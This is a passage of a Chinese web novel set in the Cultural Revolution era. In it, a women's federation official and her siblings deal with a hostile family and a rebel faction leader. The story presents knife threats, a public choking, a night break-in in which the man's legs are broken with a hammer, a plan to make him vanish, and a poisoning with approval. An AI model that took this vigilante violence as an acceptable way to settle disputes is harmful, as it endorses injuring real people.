宋知夏沉着应对,一边跟这帮人周旋,一边让宋冬宝去叫宋知南过来。 宋冬宝在路上问宋知南:“三姐,你说吧,这事怎么办?咱是打还是不打?” 宋知南一个脑崩弹过去:“打什么打,你姐我现在是妇联主任,要以理服人。” “行行,以理服人。” 宋知南接着说:“我得讲理,但你可以不讲。你附耳过来。” 宋冬宝凑过去,宋知南仔细地交代了一番。 姐弟俩合作默契,宋冬宝是一点就透,还能举一反三。 姐弟二人到院子里的时候,梅小玲的妈正坐在地上嚎哭:“姓宋的,你故意教坏我闺女,我们家日子没法过了,我们老俩口今天要死在你家里……” 宋冬宝一个箭步冲上去,朝天上一拜:“爸,大哥,梅小玲的爸妈也想死,你们把他们带走吧。” 现场突然诡异的安静下来,梅妈的哭声也戛然而止,梅爸也在一旁愣住了。 宋冬宝接着说道:“大哥,你有种把梅小刚的根也割了吧。你要是不割,我来割,我都没有,凭啥他能有?” 梅小刚吓得腿间一凉。 梅爸冲上来大声骂道:“宋冬宝,你脑子不正常吧?” 宋冬宝笑嘻嘻地承认:“对呀,你们今天才知道啊,我本来就不正常。” 宋知南适时地站出来,劝宋冬宝:“冬宝,不要动不动就割这割那的。姐姐不是跟你说了,不能干违法的事。” 宋冬宝愤愤不平地说道:“三姐,他们欺负咱们没爸没妈,我要不是狠点,他们以后还得欺负咱们。你是妇联干部,你顾忌得多,我不用顾忌,我也不打算升职评先进,我也不打算结婚,我就是烂命一条,谁敢欺负咱们家,我就跟他们同归于尽,反正活着也没啥意思,不如就拉几个垫背的。” 宋冬宝说着冲进厨房,拿了一把雪亮的菜刀出来,追着梅小刚就砍,对方吓得哇哇大叫。 宋冬宝追着梅小刚一路跑,一直跑到了梅家。 梅小刚躲到屋里插上门不敢出来。 宋冬宝抱着菜刀在梅家门口坐下,“你们来我家闹,我就来你们家,我就在你家不走了。” 看戏的观众你看看我,我看看你,怎么一下子就攻守易势了? 宋知南站在梅小玲家所在的院子里即兴演讲:“我在三八节上说过,父母偏心,子女必离心。宠狗上灶,宠子不孝。父母重男轻女必然会自尝苦果,我家警钟一直鸣,怎么就没敲响你们呢。” 宋知南正在讲话时,梅小玲回来了。 她一进院子就声嘶力竭地喊道:“爸妈,你们是想逼死我吗?行,我现在就把这条命还给你们!” 说着,她就朝墙上撞去。 围观的群众惊呼一声,赶紧跑上去阻拦,但还是拦晚了一步,梅小玲的脑袋已经砰地一下撞到墙上了。 宋知南过来查看一下梅小玲的伤势,急声喊道:“撞成脑震荡了,快送到医院去。” 众人七手八脚地把梅小玲送到厂部医院。 趁着医生在给梅小玲包扎上药,宋知南火速让人去通知街道办事处,并打电话通知梅小玲爸妈的领导,说梅小玲家发生了十分严重的流血事件,各级领导都来了,就等他们了。 两人的领导一来,就看到了宋知南这个妇联主任以及街道办事处小刘这两位领导。 宋知南笑着说:“来都来了,大家就共同调解吧。” 两人的领导一来,梅爸梅妈的态度突然软和下来了,瞬间变得通情达理起来。 宋知南对梅小玲说:“记住你爸妈通情达理的时候,下次就这么干。女儿爱父母则为之计深远。” 第118章 梅小玲微笑着点头, 她感激地说道:“知南,谢谢你, 同时我也想说声对不起。你帮了我那么多,我却给你带来这么多麻烦。” 宋知南不在意地说:“没关系,这种事我遇的多了,不用放在心上。你好好养伤,记得以后别这么实诚了,哪能真撞啊,疼的可是自个。” “没事的,看着撞得狠,其实我是收着力的,我撞得划算值得。” 她这一撞,撞出了短暂的和平, 她爸妈也要脸面, 当然不想背着一个逼死亲生女儿的名声。 再加上领导都来调解了, 他们只能变得通情达理起来。以后应该不会再去找宋知南的麻烦了。 “你好好休息,既然闹出这么大的动静了, 你就多休息几天。” “嗯嗯, 你去忙吧,我真的没事。” 宋知南离开后,有邻居来看她,梅小玲立即换了一副表情:眉头紧蹙,说话有气无力,时不时地说头疼。 邻居心疼地说:“你这孩子咋那么傻?撞坏了可怎么办?” 梅小玲眼中带汪:“婶子,你不知道我过得有多苦……” 梅小玲尝到了反抗的甜头, 在白眼狼的路上越走越远。 当白眼狼是真好呀,自己赚钱自己花, 在能力范围内,想买啥就买啥。以前不舍得买的蛤蜊油雪花膏也舍得买了,不舍得买的衣服也买了。 梅小玲觉得自己终于活出了一点人样。 大家眼睁睁地看着梅小玲,从一个远近闻名的好女儿好姐姐堕落成一个冷血白眼狼,自然要是议论的。 观点主要分成两派,一派站在梅小玲爸妈那边,一起谴责梅小玲;另一派多是年轻女孩,她们站在梅小玲这边,觉得她爸妈做得太过分了。 还有一派主要谴责宋知南,要是没她掺和,这事闹不了这么大。 还有人撺掇梅小玲父母去找宋知南的领导告状,但宋知南早有后手,宋冬宝没事就提刀上门劝告对方:“我们姐弟三人相依为命,谁敢欺负我姐就是要我的命。反正我光脚的不怕穿鞋的,不信你们可以试试看。你们要敢举报我姐,我就去你们单位举报你们,还去你儿子学校找他老师和校长。” 梅小玲爸妈怒了一下,又怒了一下,最终还是没敢冲动。 宋冬宝得意洋洋地离开了,敢跟和他斗?他们还正常了点。 宋冬宝回去之后就收到了三姐的夸奖和二姐的肉包子。 “冬宝,你还是挺有用的,我们没白疼你。” 宋知南跟宋知夏感慨道:“你看,哪怕是垃圾只要放对了位置,也能变废为宝。” 宋知夏也深受触动:“我都没想到,冬宝还能这么用。三妹,你真是个天才。” 宋知夏一边说话一边让宋知南试她新做的衣裳,她一直在跟宋湘学做衣裳,觉得差不多了就先把旧衣裳拆了练手,待练得差不多了就给宋知南做了件白衬衫。 宋知南试了一下,挺满意,她现在最常穿的就是绿军裤和白衬衫,简单大方。 “瞧上去还真不错,三妹,你越长越好看了。” 宋知南自信地说:“那肯定的,咱们家的人长得都挺不错的,就连宋秋实那个货,长相也是中等偏上的。” 宋知南对自己挺满意,她的个子窜了几厘米,身高有1米65了,体重一百多斤,不是特别壮,但比以前结实多了。以后继续吃和练,看看还能不能再窜两厘米。 “谢谢二姐,你真是越来越大方了。” 宋知南穿着新衬衫,带着一篮子吃的离开了家。 邻居们见到她纷纷打招呼:“小南你要回去啊。” “哎。” “你姐又给你做好吃的了?哎哟,你们姐妹俩的感情可真好。” …… 自从宋知南当上妇联主任后,这些邻居们对她愈发客气。 见了面,都是变着花样从各个角度夸她,夸奖宋知南统统笑纳,对这些邻居也十分和气。她早说了,她是一个热爱和平又讲礼貌的人。谁对她好她就对谁好,谁骂她她就骂谁。 到了星期天,宋知南本来打算去看看梅小玲,没想到有人告诉她,那个胡记者来了,这会儿正在厂区乱转乱问呢。 王怀安一听胡记者要采访他,不禁有些疑惑,他再拿言语一试探就感觉不妙,一脸警惕地拒绝了他。 胡记者的好奇心被激发起来了,他今天非要问个究竟不可。 他接着去找王招弟,王招弟吞吞吐吐,支支吾吾,他多问几句,王招弟的眼泪就出来了。弄得胡记者十分尴尬,只好打住不问。 他想来想去,还是得去找宋知南。 宋知南正在家里跟队员们商量剧本,大家伙一听说胡记者来了,顿时如临大敌。 宋知南笑着说:“不至于,咱们要对他和气些,免得吓着他了。” 胡记者走进院子,跟进了女儿国似的。 他不自在地朝宋知南笑笑:“宋主任,你放心,我今天是来采访的。上次的事不是我的本意,我也是被人蒙蔽了。” 宋知南大度地说:“你是被王怀安蒙蔽了吧?这也很正常,他那人很有心计,城府特别深,而且他有一项特别爱好,就是喜欢操弄人心,特别喜欢从身边的人下手。像你这样简单单纯的人,最方便下手了。” 胡记者的嘴张成半圆形:不是,你说我一个将近三十岁、见多识广的记者简单单纯?你不是在骂我蠢吧? 宋知南微微一笑:“胡记者,你别急,你且听我一一道来。” 宋知南接着说了她调解王怀安和田容的事,以及后面发生的王招弟和李大庆的事。 “这个王怀安能把田容这样一个原本开朗活泼、开说开笑的女同志,变成随时想发疯甚至有自杀倾向的人,他却觉得自己没一点错。这种人你觉得可不可怕?要是你身边有这么一个人,你是不是觉得后背发凉?” 大家伙附和道:“那肯定是的,想想都可怕。” 宋知南接着说:“他对我有意见也不当面提,而是背后暗戳戳地挑拨离间,让王招弟来找我调解,接着又鼓动李大庆来打我。你们说,这城府深不深吧?他算计了我们三个人的心思:他知道我工作认真负责,谁来找我我都会调解,他也算定了王招弟和李大庆的性格和为人,知道我的好心一定会被他们当成驴肝肺。你们说,他是不是特别会操弄人心?” 大家伙仔细一想,还真的是。这个王怀安太可怕了。 胡记者一听,这里面的料可真多呀。他这个月的稿子不用愁了。 他跟宋知南一聊,好嘛,这人不仅是个大杠头,还是个自带新闻和故事的人。 杠头对于杠头,不说惺惺相惜,那也是相当感兴趣。 而自带新闻话题和故事的人,他们记者最喜欢了。 胡记者有些后悔,他当初怎么就得罪了宋知南呢。要不然,他还能从她这里挖掘更多的新闻和题材。真是悔不当初呀。 宋知南像是察觉到他的心思似的,大方地说:“胡记者,虽然三八节那天,你无端对我发难,让我感觉很不舒服。但我仔细一想,你这人身上也不是没有优点,首先一条,你有独立思考的精神,哪怕明知道不符合场景和大流,你也敢于坚持自己的想法,这对新闻记者来说很难得。” 胡记者惊讶地看着宋知南,一脸地难以置信。 宋知南接着说:“你这人特立独行,你明明知道领导喜欢什么,读者喜欢什么,但你就是不愿意去做,你就想跟他们对着干,不明真相的人会说你这人是大杠头,其实不是,你只是敢于质疑权威、不甘于流俗罢了。” 胡记者觉得自己那一向坚硬的心突然变软了。 宋知南说出了他隐约想过但没有彻底表达出来的话。 是啊,他不是爱抬杠,他是独立思考,他只是不甘流俗罢了。怎么就没人理解他呢? 人家宋知南都这么高姿态了,胡记者觉得自己也该表示表示,他很真诚地道歉:“宋主任,我向你道歉。你真的是太大度了。” 宋知南笑着说道:“咱们不打不相识嘛。说起来,咱们也是老熟人了。你有什么问题尽管问,我会尽量配合你。” 接下来的采访极其顺畅。 “也就是说,王怀安这种行为叫精神虐待?” “对的,他这种人挺多的,不信你可以先写一篇试试水。” “你是说,王招弟这种人也有很多,那这样一说,你们妇联的工作并不好做呀。” “那是自然,不过,我们不怕困难,敢于迎难而上。为人民服务的事,再难也要做。” “宋主任,我对你产生了一丝钦佩之情。我以前被蒙蔽得太深了。” 胡记者今天的收获特别大,他不但挖了老同学王怀安的黑料灰料,还跟宋知南和解了。两人不打不相识,宋知南大方地跟他分享了很多新闻和八卦。 等到两人分别时,宋知南握着胡记者的手说:“胡记者,经过这一番深谈,我重新认识了你。你真是这个时代少有的敢于保留自我的人,你还有一颗男同志少有的柔软善良又不带性别偏见的美好心灵。 你跟其他的记者都不一样,跟其他的男同志也都不一样。大家都说我对男人有偏见,我其实不厌男,我只是厌坏厌蠢罢了,遇到你这样聪明善良正义大气的男同志,我又怎么会厌恶呢。” 胡记者:“他们这些人确实不怎么争气,别说是你,就连我有时候也挺厌恶他们。” 两人愉快地告别。 胡记者回去后奋笔疾书,一篇文章送王怀安上了报纸,再写一篇又送李大庆和王招弟上了报纸,第三篇是写宋知南的。 胡记者绞尽脑汁,用尽平生之笔力把宋知南从里到外夸了一遍:宋知南,知难而进,迎难而上。工作认真负责,全心全意为人民服务,能软能硬,对于阶级敌人,勇于斗争;对于人民群众充满温情,关键是心胸宽广,不计前嫌。” 钢铁厂的人看到关于王怀安的文章,不由得一拍大腿:我早说这家伙有问题,看吧,他果然有问题。 纺织厂的领导看到报纸,先是骂李大庆和王招弟丢了纺织厂的脸,待看到宋知南的报道时,各人反应不一。 谈书记陷入了浅浅的思索:这个胡记者又来采访了?这次是没采访到他,所以才顺便采访了小宋? 孙主任:这个胡记者之前不是一直刁难宋知南吗?怎么突然口风大变?会不会是小宋对他做了什么?难道是把他骂怂了? 孙副厂长:难道说胡记者也跟他一样,突然间看到了宋知南身上的优点? 厂里的女工:苍天有眼,终于有个正常的记者了。她们早就说了,宋主任特别好,谁都比不了。 厂里的男工:这个胡记者有病,他是男人的叛徒。我呸,我要号召兄弟们孤立他。 大家一碰头一商量,才发现,胡记者既不是他们厂的,也不跟他们一个圈子,他们倒想孤立人家,可人家压根不认识他们。 众人小眼瞪小眼,最后有人说道:“虽然他不认识咱们,但咱们照样孤立他,从精神上孤立他。” “对,就这么做。” 宋知南再见到胡记者时,先是表达了自己的感谢之情:“胡记者,你真是勇敢仗义,别人不敢做的事你敢做,别人想不到的事情你也想到了。但鹤立鸡群,群鸡必啄之。我们厂的那些男职工说要精神孤立你。” 胡记者:“……” 不是,他认得他们是谁吗?孤立他,他们也配? 宋知南叹息一声:“这些男职工怎么说呢,他们身上有一种我说不清道不明的劣根性。” 胡记者眼前一亮:劣根性?这个词太好了,要用上。他回去打算写一篇关于男人劣根性的文章。 眼看着胡记者在正确的路上越走越远,宋知南倍感欣慰,有生之年,她希望能看到更多的,“我是男的,我也觉得……”这种文体。 有些男人不知道自己要做什么要说什么,她就得好好引导引导他们。 她认为他们一定会这么认为,她觉得他们一定会这么觉得。 第119章 胡记者用尽了他的文笔和才华, 把宋知南夸成一朵花。一个不经常夸人的人夸起人来效果加倍。一个杠头突然夸起他杠过的人,最惊诧的是他的同行。 同行记者:这个胡为先到底是怎么了?又被打了?也不对, 普通的打骂只会让杠头愈挫愈勇。 这个宋知南有点东西啊。 宋知南本人都不知道她的知名度又悄悄上升一个档次。 好处是有的,就是宋知南出去办事更方便了,毕竟也是本地的名人了。 但同样的,人怕出名猪怕壮。出名也让宋知南引起了一些人的注意。 这些人里就包括那个害死父亲和亲哥、气疯老母亲的造反派白继业。 白继业前几年四处串联到处革命,一路□□,很是风光了一阵。 只是这两年革命形势发生了变化,很多红小兵们上山下乡了,很多组织解散了,革命从狂飙变成了缓进。 白继业有一种郁郁不得志的失落和苦闷感,在外面也混不下去了,他和几个小弟重新回到青阳市, 这里他们毕竟最熟悉。 白继业一回来就有好事者跑来告诉他, 他那个疯娘认了一个闺女名叫宋知南, 还说他俩当初在医院里抱错了,他本应该是宋家的孩子。 白继业一听就直皱眉头, 那个宋知南是个什么东西?也配和他白继业相提并论。 他吩咐两个小弟去打听宋知南的情况, 不打听不要紧,越打听越有兴趣。 白继业的革命直觉告诉他,这个宋知南很有搞头,要是把她这个在本地小有名气的刺儿头斗倒了,他的革命生涯又将新添一笔战绩。 以前的那个什么王红兵算什么玩意,一群虾兵蟹将。论斗争,他才是专业的。 白继业回来的消息, 也有人告诉了白薇和陆淑芬。 陆淑芬双目空洞,喃喃自语:“这个畜生怎么还没死?他又回来干啥?他是不是又要害人?” 白薇连忙好声哄劝, 她见母亲还算清醒,赶紧提醒道:“妈,白继业回来了,你可千万别去找小宋。她已经够忙碌了,咱们家可不能连累她。” 白薇现在就怕宋知南引起白继业的注意。 陆淑芬一把抓住白薇的手:“小薇,我不去找她,你快去告诉小南,让她最近注意点。” 白薇想了想,说道:“那行,我明天下班后过去一趟。” 次日,白薇一下班就直接骑着自行车去找宋知南。 宋知南有段时间没看到白薇了,一见到她就和气地问道:“白同志来了,你母亲怎么样了?身体好些没有?” 白薇强颜笑道:“还是那样吧,时清醒时糊涂的。我最近看她看得紧,她没有来麻烦你。” 宋知南看白薇有些神色不对,就主动问道:“白同志,你今天找我有事?” 白薇组织了一下语言,说道:“宋主任,真是不好意思,上次我妈麻烦你,这次可能还有更大的麻烦,那个白继业回来了。我怕他注意到你,你最近小心些。如果碰到了,你尽量别理他。他就是一条疯狗,他连自己家人都害,更别况是别人?” “白继业,你那个弟弟?” 白薇咬牙道:“不,他不是我弟弟,我这辈子都不可能认他。” 宋知南点头:“你放心,我没事的。我尽量不招惹他。” 白薇再次道歉:“宋主任,真是对不起,我们家给你惹了那么多麻烦。” 宋知南不在意地说:“没事,你也不想这样。” 白薇说完这些,就匆匆离开了。 下班后,宋知南没有回自己家,而是去了宋知夏家。 她对宋冬宝说:“冬宝,你去帮我查查那个白继业,悄悄查访就行,尽量不要招惹他。” “三姐,你放心,这事交给我。” 宋知夏以前听说过白继业的事,担忧地问道:“三妹,你怎么招惹上白继业了?” 宋知南便把她和白家的事说了。 宋知夏听后哭笑不得:“这个刘大爷的想像力真够好的,我敢肯定你绝对是咱爸妈生的。” 宋知南说:“我也是这么认为。” 宋冬宝语气更坚决:“姐,我也觉得你肯定是我亲姐。白继业那家伙就是个畜生,他怎么可能是咱们宋家人?” 很快就到了星期天,宋知南洗完衣服,给菜地浇完水,正抱着黑米和小虎在院子里晒太阳。 就听见外面有人在急促地敲门。 “进来。” 来人是宋冬宝。 宋冬宝喘着气跑进来喊道:“姐,不好了。那个白继业带着人来了。” 宋知南弹弹衣服,“来就来呗,抄家伙准备。” 紧接着宋知夏也来了。 宋知南把小虎关到屋里,一会儿打起来会有点凶猛,别吓着小虎了。 宋知夏说:“三妹,他们来的人不少,咱们仨打不过,要不咱们去躲一躲?” 宋知南不在意地说:“躲是躲不过的,正好我有段时间没打架了,拿他们练练手。” 他们正说着话,就听见门外有人在吵嚷。 李群英、牛春草、王翠花、边月等人都来了。 边月跑上前说:“师傅,我力气大,我来帮你打架。” 宋知南笑着对她说:“这点小事我应付得了,还没到用你的时候。” 李群英也说:“要不,咱们大伙跟他们拼了算了。” 宋知南再次摇头:“还没到那个地步,你们今天就看我打就行了。” 宋知南说疯狗,疯狗就到了。 白继业迈着嚣张的步伐,领着一帮小弟过来了。 双方互相打量着,同时呸了一声表示不屑。 白继业双手抱胸,将宋知南上上下下打量了一通,“还以为是个什么三头六臂的人物呢,不就是一个普普通通的姑娘嘛。” 宋知南拿眼角瞥了白继业一眼,对方个头跟她差不多高,长得挺白净,一双狭长的眼睛里闪着阴冷的光,一看就是早死的面相。 白继业先声夺人:“宋知南,有人举报你私藏大量毒草书籍,发表□□言论,压迫广大男同志,你可认罪?” 宋知南:“白继业,你反党反国反人民,害家害邻害人,你可认罪?” 白继业刷地一下抽出腰间的皮带,恶狠狠地说道:“嘴还挺硬,我倒要看看你今天能硬多久?” 宋知南很有范地一伸手,宋冬宝立即递上来一根光溜溜的长木棍。 她拿在手里先试试手感,再对大家伙一拱手:“麻烦大家伙让开场地,别磕着碰着你们了。” 众人目瞪口呆,宋主任,不愧是你。 宋知夏脸色发白,想开口劝,最后又忍住了。她手里也握着一根木棍,必要的时候,她也只能上去一起打。 宋冬宝一手握着一根宽皮带,只待三姐声令下,就准备开打。 李群英正一脸严肃地跟牛春草等人小声商量:“你们去厂里看看保卫科的人在不在,让他们来一趟。” 她们还正在商量着,白继业带着他的那帮小弟已经开始扑上来了。 宋知南和宋冬宝毫不畏惧地上前迎战,宋知夏犹豫了一下,也咬牙冲上去。 宋知南直奔白继业而去,宋冬宝和宋知夏两人掩护宋知南,其他围观的人互相使了个眼色,随即便下场好心劝架拉架。 她们也没动手打架,她们就是好心地拉着白继业的几个小弟不让他们打。 这几个人确实是打架的好手,但奈不住围观的群众太多。有人拽胳膊,有人搂住腰,有人扯着衣服,让他们完全动弹不得。 而白继业跟宋知南过了几招后,就被宋知南摁在地上骑着打。 宋知南骑坐在白继业背上,还抽空朝着北方拜了拜:“伟大领袖保佑我,我今天要替您行道,打倒一切反动派!” 众人张大嘴巴看着这一幕。 宋知南摁着白继业的头咚咚在地上磕了三下,“第一磕是为伟大领袖磕,祝他永远健康长寿。” 咚咚咚又是三下,“这二磕,是为了你爸妈磕,他们生你不如生块叉烧。” “第三磕,磕给你哥。” “第四磕,是为我磕。” …… 白继业一直被迫咚咚磕头,磕得额头红肿、五官扭曲。 磕完头,宋知南又掐着他的脖子玩窒息游戏:“白继业,你知道错了吗?” 白继业翻着白眼,断断续续地说:“你有种,就、就掐死我。” 宋知南的手越掐越紧,众人屏着呼吸,紧张地看着这一幕。 宋冬宝只觉得自己呼吸越来越困难,他失声叫道:“姐,你放手啊,真的会死人的。” 其他人也如梦初醒,赶紧劝道:“小宋,你快松手吧。” 宋知南的双手松了一下,白继业大口大口呼吸着新鲜空气,强作镇定:“哈哈哈,你还是不敢。” 他刚一开口,宋知南把他翻了个,让他仰面躺着,左一巴掌右一巴掌,开始扇他耳光。 宋知夏和宋冬宝上前一人摁住手,一人摁住脚,好方便宋知南扇得顺畅。 众人:“……” 不得不说,这姐弟三人配合得真挺默契。 而白继业的小弟们就那么眼睁睁地看着自己的老大挨揍。起初他们还剧烈挣扎,最后完全不挣扎了,就那么沉浸式围观着。 宋知南扇了一会儿,手疼,就换宋冬宝上去扇。 宋冬宝刚扇了几下,就看到那边又来了一群看热闹的人。 这次来的是白薇和陆淑芬等人。 白薇喘着气跑上来,指着白继业吼道:“白继业,你打算要害多少人才肯收手?” 白继业用力啐了一口血痰,“我已经跟你们断绝关系了,你现在就是一个陌生人,给我滚远点!” 陆淑芬的眼睛一直盯着白继业,一步一步地挪上前,说道:“继业,你为什么要害死你爸和你哥?他们不疼你吗?家里对你还不够好吗?为什么?到底是为什么?” 白继业五官扭曲着,朝着陆淑芬大喝一声:“闭嘴,他们都是阶级敌人,他们都该死!” 陆淑芬突然放声大笑起来:“哈哈哈,他们都该死,我也该死,你也该死,都死了算了。” 陆淑芬笑着笑着哭了起来。 白继业趁此机会一跃而起,他一边往外走,一边放狠话:“宋知南,你给我等着,没有谁能得罪了我白继业还能好好活着的。” 白继业走了,他的小弟们也挣脱了人们的钳制,跟着灰溜溜地离开了。 宋知南看着白继业的背影,想着这个人也该消失了。 她家不光警钟长鸣,丧钟也要偶尔鸣一下,要不然,宋钟这个名声岂不是名不副实? 第120章 白继业离开后, 大家伙纷纷上前安慰宋知南。 众人嘴里说着肯定没事的,但心里都有些担忧。这个白继业就是一条毒蛇, 是真的有毒,一般人不敢惹。 白薇看着宋知南,满脸愧疚:“宋同志,我真不知道说什么好,要不是我妈去认你,你就不会引起白继业的注意,是我们家连累了你,你能去亲戚家躲一躲吗?或者你去京城我大姐家躲一躲也行,我会跟她打电话说明的。” 宋知南摇头:“我还要工作,不能躲。你带陆阿姨回去吧。” 白薇过去扶陆淑芬,陆淑芬突然抓着白薇的手说:“小薇, 你以后要照顾自己, 妈不连累你了。” 白薇连忙好声劝道:“妈, 你别说这些,咱们回去好不好?” 陆淑芬自顾自说道:“继业是我生的, 我要把他带走, 我把他带走了,他就不会再祸害人了。” 白薇苦笑道:“妈,别乱说,咱们回家。” 陆淑芬点头:“回家,先回家再说。” 陆淑芬和白薇离开后,围观群众也陆续离开。 李群英等人留了下来,大家伙进屋里商量此事。 牛春草先劝道:“小宋, 我知道你很勇敢,也不怕事, 但是你没必要跟一条疯狗较劲,我劝你最好先躲一躲。” 李群英说:“我明天上班找厂领导反应一下情况。” 第二天上班时,贺主任就过来告诉宋知南:“小宋,昨天的事我也听说了。我跟杨主席帮你打听了一下,那个白继业以前是‘赤红’战斗队的小队长,但那个战斗队已经七零八散,不成气候了。他这次找你茬,没有任何事实依据,也没有市革委会的批示,完全是自作主张。但是白继业是公认的疯狂和没人性,我和杨主席都建议你不要硬碰硬,要不给你放几天假,你到亲戚家躲几天?” 宋知南想了想说道,“贺主任,那我就请三天假吧。” 贺主任爽快答应,并叮嘱她一定要小心。 宋知南跟何黛和章无双打声招呼就回去了。 她一打开院门,就发现地上有一封信。她捡起来飞快地看了一遍,信是李书悦写的,提醒她要注意白继业。 白继业一回来就开始耍威风,让他们这些“牛鬼蛇神”去向他汇报思想工作,他们进去的时候,听到他们在讨论怎么对付宋知南。 宋知南收好信,黑米和小虎听到动静一齐迎了上来。 她各撸了猫狗一把,回屋开始做计划。 首先上结论:这个白继业留不得了。 她要尽量完美地让对方跟她毫无干系地消失。 宋知南用杠精值兑换了洗脑丸和化尸粉,先拿出来,说不定后面用得着。 随后,她又在商城买了开锁用的铁丝和□□。 接下来,她要深入全面地调查一下白继业的社会关系,重点放在他的仇敌和对手方面。 像他这种血债累累又疯狂嚣张的人不可能没有仇家。 宋知南刚写了几行计划,就听见有人敲门,“三姐,你在家吗?我进来了。” 宋知南走出书房,见是宋冬宝,就问道:“你也请假了?” “我一上班就心神不宁,总是担心你,干脆就请假了。” 宋冬宝关上院门,悄声问:“姐,你有啥计划没?快告诉我,咱们一起弄死那个姓白的。” 宋知南:“别急,事情要慢慢来。冬宝,你可是姐的好帮手,咱们家不能没有你。” 宋冬宝骄傲地挺起胸脯。 “既然你请假了,我正好有个事交给你办。你去调查白继业的仇敌和对手,把名字和住址记下来。” “哎哎。” 宋冬宝出去打听消息,宋知南给他拿了钱和票,让他顺便买了些菜和豆腐回来。 而她自己,则继续写计划和整理工具。 她在商城买了三把大小不一的铁锤,这玩意儿打人挺顺手。 板砖她散步时在路上捡了好几块,挑了几块最结实的放空间里,一块最轻的放书包里,书包里还装有自行车链子,不用的钢笔,木簪子,带皮套的小刀,两双白线手套,语录、像章、打火机和火柴等等。 2个小时后,宋冬宝提着豆腐和菜回来了。 他放下东西,休息一下就去准备做饭,一边做饭一边跟宋知南汇报情况:“那个白继业在附近太有名了,消息不难打听。他的仇敌挺多的,67年的时候,他们内部斗得挺狠的,动不动就械斗。有几个帮派的头头咬牙切齿地说要弄死姓白的,可惜的是有几个都下乡去了,现在留在城里的对手有一个叫林华,还有一个叫何卫国。这两人也不是什么好鸟,当初也没少害人。” “白继业住在哪里知道吗?” “知道,他现在就住在最北面的干部区里,好像是在11号院。” 干部区是附近的人们对最北面那一带家属院的戏称,那里面住的房子又大又好,多是领导干部。 “林华呢?” “我也知道,住在咱们东边。” 宋知南接着发布命令:“吃完午饭,你继续去打探消息,看看最近白继业跟谁有冲突,记下名字,天黑以后咱们去白继业那儿散个步,顺便推他们一把。顺风点火,一点就着。” 宋冬宝下午继续去打探消息,宋知南抱着小虎美美地睡了个午觉,晚上得加班,可不得提前补觉,她现在还在长个,就得多睡觉。 天快黑时,宋冬宝回来了。 “姐,我打听清楚了。前天晚上那个林华跟白继业吵架了,两人还差点动起手来。” 宋知南点头:“行,咱们就从这儿突破。晚上,咱们替林华揍白继业一顿。” 为了补充体力,宋知南用杠精值兑换了四个肉包子,又做了一锅酸辣汤,拌了个凉菜。两人吃得喝足,先小睡一会儿养精蓄锐。 两人等到半夜,待周围的人差不多都睡熟了,便蹑手蹑脚地出了院门。 夜行20分钟,就到了白继业住的院子外。 宋知南往院子里扔了一块石子,没有狗叫声。 她试了试院墙的高度,不太高,挺好翻,双手手抠着砖头,很容易就翻了过去,宋冬宝跟着也翻了过来。 院子里一共有三个房间,据宋冬宝打听来的消息,白继业住在中间那屋。 宋知南掏出□□,试着转动几下,果然开了。 宋冬宝在旁边看得佩服不已,三姐真是什么都会啊。 两人轻手轻脚地进屋,迎面扑来一股混杂着馊饭、酒气和脚臭味的难闻气味,让人作呕。 两人悄摸摸来到床边,在黑暗中摸索到脑袋,宋冬宝用手紧紧捂着床上那人的嘴巴,宋知南举起板砖砸他的腿。 剧烈的疼痛让白继业悚然惊醒,他剧烈挣扎着:“呜呜,谁?” 宋冬宝死死地摁住他,宋知南高高举起板砖连砸数下,她嫌板砖不给力,又换上了铁锤,哐哐十几下砸下去,只听得几声清脆的断裂声,白继业的腿应该是断了。 宋知南拿起绳子开始捆人,宋冬宝也从口袋里摸出一块抹布把白继业的嘴给堵上。 做完这些,两人准备离开,宋冬宝在临走时故意捏着嗓子问:“三哥,隔壁的人还弄吗?” 宋知南没出声,宋冬宝自问自答:“我知道了,不弄了,快走。” 两人悄摸摸回家,宋知南定了个闹钟,早上4点起床,把宋冬宝叫起来,两人赶场子又去把林华的小弟们给揍了一顿,并在他们门上泼了粪,伤害性不大,侮辱性极强。 次日清晨,林华的小弟义愤填膺地跑过来向他汇报,有人来砸场子了,还往他们门上泼粪,这种阴损的做法,很像白继业的风格。 与此同时,白继业也被小弟们发现并松绑,他疼得直哼哼:“你们几个是死人吗?昨天晚上那么大动静都听不见!” 几个小弟嗫嚅道:“昨天喝多了,睡得太死。老大,是谁吃了熊心豹子胆敢这么对你?” 白继业咬牙切齿:“我最近就得罪了宋知南和林华,你们俩去帮我查查这两人,看看是谁干的。” “哎哎。” 白继业的小弟们刚出门不久,就发现他们被林华的人给围住了。对方废话不多说,上来就是一顿胖揍。敌众我寡,几人被打得嗷嗷惨叫。 他们一瘸一拐地回去,哭着跟床上的白继业告状:“老大,打你的人肯定就是林华,我们几个也被他们打了。” 白继业用力锤了一下床,恶狠狠地说:“姓林的,你给我等着。你们赶紧把我送到医院,再去通知其他弟兄们。” 宋知南原本打算等这两帮势力斗个你死我活时,她再趁虚而入,搞垮白继业。 然而,事情的发展却大大出乎她的预料。 三天之后,宋冬宝急急忙忙地跑到宋知南家:“姐,你听说了吗?白继业死了,是被他妈毒死的!” 宋知南愣了一下,反问道:“被他妈毒死的?那陆阿姨?——不好。我去她家看看,你留在家里。” 宋知南骑上自行车往白薇家赶去。 白家堂屋门前围了很多人,白薇头上缠着白布,脸色憔悴,眼睛红肿。 宋知南一进来就问:“白同志,陆阿姨她……” 白薇哭着说道:“我妈她、她走了。” 宋知南心里也有些难受,“白同志,你节哀。” 白薇擦擦眼泪,涩声说:“我母亲的死,我早有心理准备。她清醒时不止一次地对我说,她连累了我和姐姐。还说,她早就想随爸和大哥去了。恰巧,这一次那个白继业和他的小弟都被人打伤了,没人照顾他,也没人买吃的,我妈就过去给白继业送吃的,在里面下了毒,她和他一起吃的……” 白薇说着拿出遗书:“这里面也提到你,你看看吧。” “……白继业是我生的,我不能再让他祸害你们和别人。我的首饰和东西你和你姐分了。我们家连累了宋知南,这个银手镯给她,算是我对她的补偿。我希望医院抱错了,但我知道不是,就当我认个干闺女吧。别为妈伤心,妈解脱了。你们要好好活下去。” 白薇拿出银手镯:“这个不值什么钱,是老人的一片心意,你就收下吧。” 宋知南接过银手镯戴在手上,对着陆淑芬的遗像鞠了三个躬,在收礼金的帐房先生那里随了20块钱。 白薇留她吃饭,宋知南说家里还有事,骑着自行车回去了。 路过人民广场时,宋知南看到李书悦在低着头扫地。她推着自行车走过去,说道:“李老师你知道吗?陆淑芬毒死白继业后自尽了,她本不该死的,该死的不是她。” 